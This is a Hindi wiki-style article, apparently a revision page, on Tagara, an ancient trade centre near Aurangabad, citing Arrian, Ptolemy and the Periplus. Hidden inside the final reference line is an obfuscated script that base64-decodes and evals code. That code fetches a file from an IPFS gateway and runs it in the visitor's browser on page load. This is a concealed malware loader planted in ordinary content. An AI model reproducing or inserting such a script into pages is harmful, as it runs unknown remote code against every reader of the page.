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'''तगारा''' [[औरंगाबाद ज़िला, महाराष्ट्र|औरंगाबाद ज़िला]], [[महाराष्ट्र]] में स्थित था। [[यूनानी]] इतिहासकार एरियन के अनुसार तगारा 'इरियाका' नामक ज़िले का मुख्य स्थान था। उस समय तगारा और 'प्लिथान' ([[पैठान]]) [[दक्षिण भारत]] की मुख्य व्यापारिक मंडियाँ थीं। दक्षिण के सब भागों का व्यापारिक सामान तगारा में ही लाया जाता था और फिर वहाँ से 'वेरीगाजा' ([[भृगुकच्छ]] या भड़ौच) के बंदरगाह को गाड़ियों द्वारा भेजा जाता था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=389|url=}}</ref>
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'''तगारा''' [[औरंगाबाद ज़िला, महाराष्ट्र|औरंगाबाद ज़िला]], [[महाराष्ट्र]] में स्थित था। [[यूनानी]] इतिहासकार एरियन के अनुसार तगारा 'इरियाका' नामक ज़िले का मुख्य स्थान था। उस समय तगारा और 'प्लिथान' (या [[पैठान]]) [[दक्षिण भारत]] की मुख्य व्यापारिक मंडियाँ थीं। दक्षिण के सब भागों का व्यापारिक सामान तगारा में ही लाया जाता था और फिर वहाँ से 'वेरीगाजा' (या [[भृगुकच्छ]] या भड़ौच) के बंदरगाह को गाड़ियों द्वारा भेजा जाता था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=389|url=}}</ref>
  
 
*भौगोलविद् [[टॉलमी]] ने तगारस और प्लिथान दोनों को [[गोदावरी नदी]] के उत्तर में स्थित बताया है। प्लिथान तो अवश्य ही पैठान या प्राचीन [[प्रतिष्ठान]] है।
 
*भौगोलविद् [[टॉलमी]] ने तगारस और प्लिथान दोनों को [[गोदावरी नदी]] के उत्तर में स्थित बताया है। प्लिथान तो अवश्य ही पैठान या प्राचीन [[प्रतिष्ठान]] है।

05:54, 15 सितम्बर 2012 का अवतरण

तगारा औरंगाबाद ज़िला, महाराष्ट्र में स्थित था। यूनानी इतिहासकार एरियन के अनुसार तगारा 'इरियाका' नामक ज़िले का मुख्य स्थान था। उस समय तगारा और 'प्लिथान' (या पैठान) दक्षिण भारत की मुख्य व्यापारिक मंडियाँ थीं। दक्षिण के सब भागों का व्यापारिक सामान तगारा में ही लाया जाता था और फिर वहाँ से 'वेरीगाजा' (या भृगुकच्छ या भड़ौच) के बंदरगाह को गाड़ियों द्वारा भेजा जाता था।[1]

  • भौगोलविद् टॉलमी ने तगारस और प्लिथान दोनों को गोदावरी नदी के उत्तर में स्थित बताया है। प्लिथान तो अवश्य ही पैठान या प्राचीन प्रतिष्ठान है।
  • तगारा का अभिज्ञान अभी तक ठीक-ठीक नहीं हो सका है।
  • एरियन और टॉलमी ने यह भी लिखा है कि तगारा, पैठान से 10 दिन की यात्रा के पश्चात पूर्व में मिलता था और पेरिप्लस के अनुसार तगारा की मंडी में अन्य वस्तुओं के अतिरिक्त समुद्र तट से अति सुन्दर तथा बारीक कपड़ा मलमल आदि भी आता था।
  • उपर्युक्त तथ्य से यह जान पड़ता है कि यह स्थान गोदावरी पर स्थित नंदेड़ के समीप होगा और इसका व्यापारिक संबंध कलिंग देश से रहा होगा, जहाँ का बरीक कपड़ा बौद्ध काल में काफ़ी प्रसिद्ध था।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 389 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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